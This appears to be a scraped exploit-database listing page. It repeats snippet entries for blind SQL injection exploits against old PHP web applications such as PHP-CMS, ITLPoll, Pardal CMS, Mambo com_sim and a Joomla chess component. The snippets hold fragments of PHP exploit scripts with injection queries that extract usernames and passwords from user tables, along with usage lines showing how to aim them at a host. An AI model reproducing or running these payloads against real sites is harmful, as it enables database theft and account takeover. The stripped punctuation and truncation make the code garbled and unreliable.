Community CMS 0.4 - 'id' Blind SQL Injection

--+++==============================================================+++-- --+++====== Community CMS ". "\n+ Ex. : php xpl.php localhost /CommunityCMS admin". "\n+ Greetz : certaindeath". "\n\n"; if $argc != 4 usage ; $hostname = $argv 1; $path = $argv 2; $user = $argv 3; $key = "abcdef0123456789";...

PHP-CMS 1 Blind SQL Injection Exploit

--+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Blind SQL Injection Exploit". "\n+ Author :...

PHP-CMS 1 (username) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================ PHP-CMS 1 username Blind SQL Injection Exploit ================================================ --+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL...

ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit

No description provided by source. ?php function usage echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit". "\n☢ Usage : ./itlpoll.php hostname path username or password". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1'...

PHP-CMS 1 (username) Blind SQL Injection Exploit

No description provided by source. --+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- ?php function query $user, $pos, $chr $query = "x' OR IFASCIISUBSTRINGSELECT...

ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== ITLPoll 2.7 Stable2 index.php id Blind SQL Injection Exploit ============================================================== ". "\n? Ex : ./itlpoll.php localhost /itlpoll...

PHP-CMS 1 - Username Blind SQL Injection

PHP-CMS 1 - Username Blind SQL Injection --+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Bli...

ITLPoll 2.7 Stable2 - Blind SQL Injection

ITLPoll 2.7 Stable2 - Blind SQL Injection ". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls. $query = "1' AND ORDMIDSELECT...

PHP-CMS 1 - 'Username' Blind SQL Injection

--+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Blind SQL Injection Exploit". "\n+ Author :...

ITLPoll 2.7 Stable2 - Blind SQL Injection

". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls. $query = "1' AND ORDMIDSELECT IFNULLCAST$func AS CHAR10000, CHAR32 FROM itlconfig...

Mambo Component com_sim 0.8 - Blind SQL Injection

Mambo Component comsim 0.8 - Blind SQL Injection xoron 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...

PHP-Nuke 8.0 Downloads Blind Sql Injection

PHP-Nuke 8.0 Downloads Blind Sql Injection AUTHOR : Sina Yazdanmehr R3d.W0rm Discovered by : Sina Yazdanmehr R3d.W0rm Our Site : http://ircrash.com My Official WebSite : http://r3dw0rm.ir IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm Sina Yazdanmehr Download : http://phpnuke.org Dork :...

Mambo Component com_sim 0.8 - Blind SQL Injection

xoron 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...

Pardal CMS 0.2.0 Blind SQL Injection

--+++=============================================================+++-- --+++====== Pardal CMS ". "\n+ Ex. : php xpl.php localhost /PardalCMS Admin". "\n\n"; exit ; function query $user, $chr, $pos $query = "x' OR ASCIISUBSTRINGSELECT senha FROM users WHERE login = '$user',$pos,1='$chr"; $query =...

Pardal CMS <= 0.2.0 Blind SQL Injection Exploit

No description provided by source. --+++=============================================================+++-- --+++====== Pardal CMS = 0.2.0 Blind SQL Injection Exploit ======+++-- --+++=============================================================+++-- ?php function usage echo "\nPardal CMS = 0.2.0...

Pardal CMS 0.2.0 - Blind SQL Injection

Pardal CMS 0.2.0 - Blind SQL Injection --+++=============================================================+++-- --+++====== Pardal CMS ". "\n+ Ex. : php xpl.php localhost /PardalCMS Admin". "\n\n"; exit ; function query $user, $chr, $pos $query = "x' OR ASCIISUBSTRINGSELECT senha FROM users WHERE...

Pardal CMS <= 0.2.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =============================================== Pardal CMS ". "\n+ Ex. : php xpl.php localhost /PardalCMS Admin". "\n\n"; exit ; function query $user, $chr, $pos $query = "x' OR ASCIISUBSTRINGSELECT senha FROM users WHERE login =...

Pardal CMS 0.2.0 - Blind SQL Injection

--+++=============================================================+++-- --+++====== Pardal CMS ". "\n+ Ex. : php xpl.php localhost /PardalCMS Admin". "\n\n"; exit ; function query $user, $chr, $pos $query = "x' OR ASCIISUBSTRINGSELECT senha FROM users WHERE login = '$user',$pos,1='$chr"; $query =...

Joomla com_pcchess (game_id) Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Joomla compcchess gameid Blind SQL Injection Exploit === Cyb3R-1st === [email protected] == inject0r5 t3am == usegae : php file.php "http://site/index.php?option=compcchess&Itemid=84&page=showgame&gameid=1" '; if $arg...

Joomla com_pcchess (game_id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Joomla compcchess gameid Blind SQL Injection Exploit ======================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0...